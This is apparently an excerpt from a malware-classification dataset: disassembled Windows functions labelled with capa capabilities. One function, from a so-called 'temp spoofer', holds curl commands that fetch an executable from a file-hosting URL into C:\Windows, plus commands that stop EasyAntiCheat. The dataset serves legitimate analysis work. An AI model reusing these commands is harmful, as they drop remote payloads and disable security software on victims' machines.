joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1804a1950
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1801a3b08
sub rsp, rax
mov rax, qword [0x1805d8740]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1805e8390]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1804a1b4a
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1804a1a96
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1804a1a96
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1804a1a7b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1804a1a18
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1804a1b0a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1804a1b69
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jae 0x1804a1b45
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1804a1b69
jmp 0x1804a19ee
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1801a66be
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1804a1c10
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1801a3b08
sub rsp, rax
mov rax, qword [0x1805d8740]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1805e8390]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1804a1e25
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1804a1d69
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1804a1d69
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1804a1d49
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1804a1cd8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1804a1de5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1804a1e44
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x44], eax
jae 0x1804a1e20
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1804a1e44
jmp 0x1804a1cae
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1801a66be
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1804a8320
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov edx, 8
lea rcx, [rsp + 0x60]
call fcn.1801a4b70
movzx eax, al
test eax, eax
je 0x1804a8347
mov al, 1
jmp 0x1804a843c
lea rcx, [rsp + 0x60]
call fcn.1801aba24
movzx eax, al
test eax, eax
je 0x1804a8386
lea rcx, [rsp + 0x60]
call fcn.1801a9b7a
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.1801a9b7a
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x40]
cmp qword [rcx], rax
jne 0x1804a8386
xor al, al
jmp 0x1804a843c
lea rcx, [rsp + 0x60]
call fcn.1801a9ed6
mov ecx, eax
call fcn.1801ab957
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1804a83ab
xor al, al
jmp 0x1804a843c
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov r9d, 1
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x1804a83f0
xor al, al
jmp 0x1804a843c
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1804a8419
xor al, al
jmp 0x1804a843c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jne 0x1804a842f
mov dword [rsp + 0x20], 1
jmp 0x1804a8437
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x50
pop rdi
ret
Function at 0x1804dd6c0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
cmp qword [rsp + 0x40], 0
je 0x1804dd6ff
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
test eax, eax
je 0x1804dd6ff
lea rdx, [0x18059dc60]
mov rcx, qword [rsp + 0x40]
call fcn.1801a6790
test eax, eax
jne 0x1804dd736
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x20001004
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1804dd725
xor eax, eax
jmp 0x1804dd785
cmp dword [rsp + 0x20], 0
jne 0x1804dd734
call qword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x1804dd785
jmp 0x1804dd781
lea rdx, [0x18059dc80]
mov rcx, qword [rsp + 0x40]
call fcn.1801a6790
test eax, eax
jne 0x1804dd773
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x2000000b
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1804dd771
xor eax, eax
jmp 0x1804dd785
jmp 0x1804dd781
mov rcx, qword [rsp + 0x40]
call fcn.1801a218b
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x1804dd840
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
movzx eax, word [rsp + 0x50]
and eax, 0x3ff
movzx eax, ax
bts eax, 0xa
movzx eax, ax
mov dword [rsp + 0x24], eax
call fcn.1801a4035
add rax, 0x98
mov qword [rsp + 0x30], rax
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x20000001
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1804dd8a3
xor eax, eax
jmp 0x1804dd8e3
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x50], eax
je 0x1804dd8de
cmp dword [rsp + 0x58], 0
je 0x1804dd8de
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call fcn.1804dce10
mov dword [rsp + 0x28], eax
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx]
call fcn.1801a2979
mov ecx, dword [rsp + 0x28]
cmp ecx, eax
jne 0x1804dd8de
xor eax, eax
jmp 0x1804dd8e3
mov eax, 1
add rsp, 0x48
ret
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013100
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011285
Capabilities:
Delete file
Execute command
Set console window title
Terminate process

Disassembly:
jmp 0x140011960
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x1400240fd]
call fcn.14001138e
nop
lea rcx, str.Lowkey_free_temp
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
lea rcx, str.___Welcome_to_Lowkey_free_temp_spoofer_n_n
call fcn.1400111a9
nop
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, str._1__Temp_Spoof_Device_n_2__Exit_n
call fcn.1400111a9
nop
lea rcx, str.Please_Choose_your_Choice_:
call fcn.1400111a9
nop
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
nop
mov eax, dword [rbp + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
je 0x140011a15
cmp dword [rbp + 0xd4], 2
je 0x140011af7
jmp 0x140011b11
lea rcx, [0x14001ad44]
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl_https:__file.garden_ZmjTz3bckDoXwoZT_source_prepared.exe__o_C:Windowsdriver.sys___silent
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl_https:__file.garden_ZmjTz3bckDoXwoZT_source_prepared.exe__o_C:Windows_source_prepared.exe___silent
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str._n_n_____Click_Any_Key_To_Temp_Spoof_
call fcn.1400111a9
nop
lea rcx, str.pause__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
mov edx, 0x12c
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
nop
lea rcx, str._n_n_____Cleaning_Hardware...
call fcn.1400111a9
nop
lea rcx, str.sc_stop_EasyAntiCheat__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.sc_stop_EasyAntiCheat.sys__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str._n_n_____Spoofing_Pc_Identifiers...
call fcn.1400111a9
nop
lea rcx, str.wmic_computersystem_where_name_computername__call_rename_random_
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windows_source_prepared.exe
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rcx, str.C:Windows_source_prepared.exe
call qword [sym.imp.ucrtbased.dll_remove]
nop
mov edx, 0x1f4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
lea rcx, str._n_n_n_____Done_temp_Spoofing____n_n
call fcn.1400111a9
nop
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [0x14001ad44]
call qword [sym.imp.ucrtbased.dll_system]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x140011b15
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.14001132a
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014450
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014470
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014483
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400144ad
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400144c1
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400144d3
xor al, al
jmp 0x1400144f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400144ef
xor al, al
jmp 0x1400144f1
mov al, 1
add rsp, 0x38
ret
Function at 0x140012340
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113b6
movzx eax, al
test eax, eax
jne 0x140012360
mov ecx, 7
call fcn.140011334
nop
mov byte [rsp + 0x20], 0
call fcn.140011348
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012384
mov ecx, 7
call fcn.140011334
nop
jmp 0x1400123dc
cmp dword [0x14001e868], 0
jne 0x1400123d7
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111ae
test eax, eax
je 0x1400123b8
mov eax, 0xff
jmp 0x1400124e1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001133e
mov dword [0x14001e868], 2
jmp 0x1400123dc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011320
call fcn.1400112b2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012439
mov rcx, qword [rsp + 0x30]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x140012439
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.1400112e9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001246d
mov rcx, qword [rsp + 0x38]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x14001246d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011375
nop
call fcn.140012590
mov dword [rsp + 0x28], eax
call fcn.14001128f
movzx eax, al
test eax, eax
jne 0x14001248c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001249b
call fcn.14001137f
nop
xor edx, edx
mov cl, 1
call fcn.14001114a
mov eax, dword [rsp + 0x28]
jmp 0x1400124e1
add rsp, 0x68
ret
Function at 0x18000274f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180017088]
jne 0x18000163a
rol rcx, 0x10
test cx, 0xffff
jne 0x180001636
repz ret
ror rcx, 0x10
jmp 0x1800026a8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180018900]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1800189f8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18000272d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180018900]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000274f
mov rax, qword [rsp + 0x88]
mov qword [0x1800189f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180018998], rax
mov rax, qword [0x1800189f8]
mov qword [0x180018870], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180018980], rax
mov dword [0x180018860], 0xc0000409
mov dword [0x180018864], 1
mov rax, qword [0x180017088]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180017090]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1800188f8], eax
mov ecx, 1
call fcn.180005e9c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180012390]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1800188f8], 0
jne 0x1800027d6
mov ecx, 1
call fcn.180005e9c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1800031dc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180003050
Function at 0x180006590
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180004140
xor ebx, ebx
mov rdi, rax
cmp qword [0x180019550], rbx
jne 0x180006696
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x18000676b
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000676b
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180019550], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180019558], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x180019560], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x180019570], rax
test rax, rax
je 0x18000668d
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x180019568], rax
jmp 0x18000669d
mov rax, qword [0x180019568]
jmp 0x1800066a4
mov rax, qword [0x180019568]
mov r11, qword [0x180019570]
cmp rax, rdi
je 0x18000670c
cmp r11, rdi
je 0x18000670c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x180019570]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x18000670c
test rax, rax
je 0x18000670c
call rsi
test rax, rax
je 0x180006706
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180006706
test byte [rsp + 0x38], 1
jne 0x18000670c
bts ebp, 0x15
jmp 0x18000674a
mov rcx, qword [0x180019558]
cmp rcx, rdi
je 0x18000674a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18000674a
call rax
mov rbx, rax
test rax, rax
je 0x18000674a
mov rcx, qword [0x180019560]
cmp rcx, rdi
je 0x18000674a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18000674a
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180019550]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18000676b
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x18000676d
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x18000c6a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], r9
mov word [rsp + 0x18], r8w
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
xor edx, edx
mov eax, dword [rsp + 0x68]
mov ecx, 0x10
div ecx
add eax, 1
mov dword [rsp + 0x2c], eax
xor edx, edx
mov eax, dword [rsp + 0x68]
mov ecx, 0x10
div ecx
mov dword [rsp + 0x28], edx
movzx r8d, word [rsp + 0x2c]
movzx r9d, word [rsp + 0x70]
mov edx, 6
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x18000c7e5
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x18000c7e5
mov dword [rsp + 0x38], 0
jmp 0x18000c740
mov eax, dword [rsp + 0x38]
add eax, 1
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0x10
jge 0x18000c7e5
mov rax, qword [rsp + 0x30]
movzx eax, word [rax]
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x30]
add rax, 2
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x28], eax
jne 0x18000c7cd
mov eax, dword [rsp + 0x80]
sub eax, 1
cmp dword [rsp + 0x3c], eax
jg 0x18000c789
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x44], eax
jmp 0x18000c797
mov eax, dword [rsp + 0x80]
sub eax, 1
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x40], eax
movsxd r8, dword [rsp + 0x40]
shl r8, 1
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
call fcn.180001d00
movsxd r11, dword [rsp + 0x40]
xor ecx, ecx
mov rax, qword [rsp + 0x78]
mov word [rax + r11*2], cx
mov eax, dword [rsp + 0x40]
jmp 0x18000c7e7
movsxd rcx, dword [rsp + 0x3c]
mov rax, qword [rsp + 0x30]
lea rax, [rax + rcx*2]
mov qword [rsp + 0x30], rax
jmp 0x18000c735
xor eax, eax
add rsp, 0x58
ret
Function at 0x1405fa058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405fa1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405fa089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405fa06f
add dl, dl
jne 0x1405fa096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405fa0f6
xor eax, eax
add dl, dl
jne 0x1405fa0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405fa1ad
add dl, dl
jne 0x1405fa0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fa0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fa0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fa0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405fa0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405fa07e
mov eax, 1
add dl, dl
jne 0x1405fa106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fa113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405fa0fb
sub eax, ebx
mov ebx, 1
jne 0x1405fa14c
mov ecx, 1
add dl, dl
jne 0x1405fa12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405fa13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405fa123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405fa07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405fa168
mov dl, byte [rsi]
